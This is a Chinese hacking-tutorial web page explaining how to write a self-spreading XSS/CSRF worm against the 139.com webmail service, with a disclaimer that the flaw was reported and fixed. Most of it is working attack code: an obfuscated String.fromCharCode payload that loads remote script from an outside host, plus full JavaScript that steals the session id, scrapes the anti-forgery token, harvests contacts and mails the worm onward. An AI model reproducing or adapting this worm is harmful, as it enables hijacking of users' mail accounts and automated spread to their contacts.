您的位置:首页网络冲浪黑客天空 → 教你编写139邮箱蠕虫实例

教你编写139邮箱蠕虫实例

时间:2009/11/6 11:06:00来源:本站整理作者:我要评论(0)

教你编写139邮箱蠕虫实例
声明:该漏洞已报告并已修复,切勿用于非法目的。

原理分析:
     我们经常会用到的mail.139.com,由于对邮件正文过滤不严,导致存在xss漏洞。他们尽管实现了对style="xss:expression"进行过滤,但是可以通过添加/*  */绕过,如:。在添加/* */后,该脚本能够在IE浏览器执行。
同时,经过分析发现,mail.139.com中发送邮件的功能存在CSRF弱点;可以通过Ajax技术获取发送邮件所需要的mid值。另外邮箱的“通信录“中的联系人邮件可以直接通过javascript取出。
满足了编写csrf worm的3个条件,接下来的工作,就是通过编写javascript代码来实现了。

跨站代码:
该部分要实现的功能就是,触发浏览器去读取远端的js脚本,并且执行该脚本:
Original:

var ig =document.createElement("script");ig.src="http://192.168.9.104/woyigui/139.js";try {document.getElementsByTagName("body")[0].appendChild(ig);} catch (e) {document.documentElement.appendChild(document.createElement("body"));document.getElementsByTagName("body")[0].appendChild(ig);}

对该部分编码按照10进制进行编码,以避免关键字被替换,并调用:

<IMG STYLE="xss:expr/*xss*/ession(eval(String.fromCharCode(118, 97, 114, 32, 105, 103, 32, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 105, 103, 46, 115, 114, 99, 61, 34, 32, 104, 116, 116, 112, 58, 47, 47, 49, 57, 50, 46, 49, 54, 56, 46, 57, 46, 49, 48, 52, 47, 119, 111, 121, 105, 103, 117, 105, 47, 49, 51, 57, 46, 106, 115, 34, 59, 116, 114, 121, 32, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 98, 111, 100, 121, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 105, 103, 41, 59, 125, 32, 99, 97, 116, 99, 104, 32, 40, 101, 41, 32, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 100, 111, 99, 117, 109, 101, 110, 116, 69, 108, 101, 109, 101, 110, 116, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 98, 111, 100, 121, 34, 41, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 98, 111, 100, 121, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 105, 103, 41, 59, 125)))">

该部分代码,需放置在邮件正文中传送。

脚本功能的实现:

主要实现了如下功能:
1.通过脚本,读取联系人的邮箱地址。
  该部分信息,可以通过top.LinkManList.concat()获取。
2.通过脚本,获取sid值
  该部分信息,可以通过window.top.location.href,配合正则表达式获取到。
3.获取发送邮件所需要的mid值
  在获取到sid值后,通过script打开"写邮件"页面,读取mid值。
4.发送邮件
  发送邮件功能只验证mid值,因此在获取到正确的mid值后,连同获取到的联系人一起,构造post数据,发送邮件。
5.改写邮件转发规则和自动回复规则
  在有正确的sid后,构造post。

完整代码:

var xssed = false;
if (typeof XSSflag != "undefined"){
  xssed = true;
}
var XSSflag = [
  {name: "version", url: "1.0"},
];
if ( xssed != true ) {  
  var xmlhttp;
  //create XHR
  function createXMLHttp(){  
      try {
        xmlhttp = new XMLHttpRequest();
      } catch (e) {
         var XMLHTTP_IDS = new Array('MSXML2.XMLHTTP.5.0',
                     'MSXML2.XMLHTTP.4.0',
                     'MSXML2.XMLHTTP.3.0',
                     'MSXML2.XMLHTTP',
                     'Microsoft.XMLHTTP' );
        var success = false;
        for (var i=0;i < XMLHTTP_IDS.length && !success; i++) {
          try {
             xmlhttp = new ActiveXObject(XMLHTTP_IDS[i]);
              success = true;
          } catch (e) {}
        }
        if (!success) {
          throw new Error('Unable to create XMLHttpRequest.');
        }
     }
  }
  function domid (dourl) {
    createXMLHttp();  
    var tmp = "";
    xmlhttp.open("GET", dourl, false);  
    xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
    xmlhttp.setRequestHeader("Connection", "close");
    xmlhttp.send(null);
    setTimeout( tmp = xmlhttp.responseText,500);
    return tmp;    
  }
  function startRequest(doUrl, tomail, subject, Content, account, mid, sid ){  
    createXMLHttp();  
    var params = "funcid=compose&sid="+ sid +"&mid="+ mid +"&hidRemoteIp=&ishtml=y&optype=send.x&idOpType=&text="+ Content +"&destcgi=&funcid=compose&netfdrhost=&to="+ tomail +"&cc=&bcc=&subject="+ subject +"&year=&month=&day=&hour=undefined&compinfo_minute=&chkHtmlMessage_text=

y&chkHtmlMessage=y&ifsavetosent=y&account="+ account +"&destcgi=&netfdrhost=&split_rcpt=n&return_receipt=0&priority=0";
    xmlhttp.open("POST", doUrl, false);  
    xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
    xmlhttp.setRequestHeader("Content-length", params.length);
    xmlhttp.setRequestHeader("Connection", "close");
    xmlhttp.send(params);
  }
  function doMyAjax()  
  {  
     var strPer = '/coremail/cgi/attachfapps';
     var tomail = '<woyigui_test@139.com>;';
     var subject = "test20";
     var Content = "<img style=\"a:expr/**/ession(eval(String.fromCharCode(9,118,97,114,32,105,103,32,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,

110,116,40,34,115,99,114,105,112,116,34,41,59,13,10,9,105,103,46,115,114,99,61,34,104,116,116,112,58,47,

47,49,57,50,46,49,54,56,46,57,46,49,48,52,47,119,111,121,105,103,117,105,47,49,51,57,46,106,115,34,59,

13,10,9,116,114,121,32,123,13,10,9,32,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,

109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,34,98,111,100,121,34,41,91,48,93,46,97,112,

112,101,110,100,67,104,105,108,100,40,105,103,41,59,13,10,9,125,32,99,97,116,99,104,32,40,101,41,

32,123,13,10,9,9,100,111,99,117,109,101,110,116,46,100,111,99,117,109,101,110,116,69,108,101,109,

101,110,116,46,97,112,112,101,110,100,67,104,105,108,100,40,100,111,99,117,109,101,110,116,46,99,

114,101,97,116,101,69,108,101,109,101,110,116,40,34,98,111,100,121,34,41,41,59,13,10,9,9,9,100,111

,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,

101,40,34,98,111,100,121,34,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,105,103,41,5

9,13,10,9,125)))\">";
     var account = "";
     var sid = window.top.location.href.replace(/.*&sid=(.*)/,"$1");
     var tmpmid = domid("/coremail/fcg/ldmmapp?funcid=compose&sid=" + sid );  
     var mid="",text="";
     text=tmpmid.split("\n");
    for (var i=0;i < text.length; i++)
    {
      var patt=/name=\"mid\" value=\"/;
      if ( patt.test(text[i]))
      {  
        mid=text[i].replace(/.*name=\"mid\" value=\"(.*)\".*/, "$1");
        break;
      }
    }
    var mail_address=top.LinkManList.concat();
    for (var i=0,len=mail_address.length;i<len;i++)
    {  var mail=mail_address[i];
      var reg_139=/@139\.com/;
      if ( reg_139.test(mail.addr)){
        tomail += "<"+mail.addr+">;";
      }
    }
     try {
       startRequest(strPer, encodeURIComponent(tomail), encodeURIComponent(subject), encodeURIComponent(Content), encodeURIComponent(account), mid, sid );    
     } catch (e) {
       alert("send data error!");
     }
  }
  doMyAjax();
}

相关视频

相关阅读 影子武士2配置高吗 影子武士2配置要求一览Shadow Defender怎么用?Shadow Defender快速上手教程《掠夺之剑:暗影大陆》游戏介绍暗影之刃三星通关攻略详细图文教程什么是Shadow文件?如何获取打印shadow文件月影之塔(Luna-The Shadow Dust)荣登Steam青睐之光Doom3 UltraShadow II nVIDIA官方打开方法

文章评论
发表评论

热门文章 黑客大战直播网址 黑客

最新文章 黑客大战直播网址 黑客什么是木马,什么是木马 计算机病毒是指什么什么是木马,什么是木马病毒黑客破解密码常用的方法告诉你黑客的Google搜索技巧

人气排行 如何攻击局域网电脑无线网络密码破解教程(破解无线路由WEP加密网站获得系统权限攻击教程流光破解ftp密码教程计算机病毒是指什么黑客破解密码常用的方法如何命令行/DOS下列出进程名与进程文件路径2010黑客工具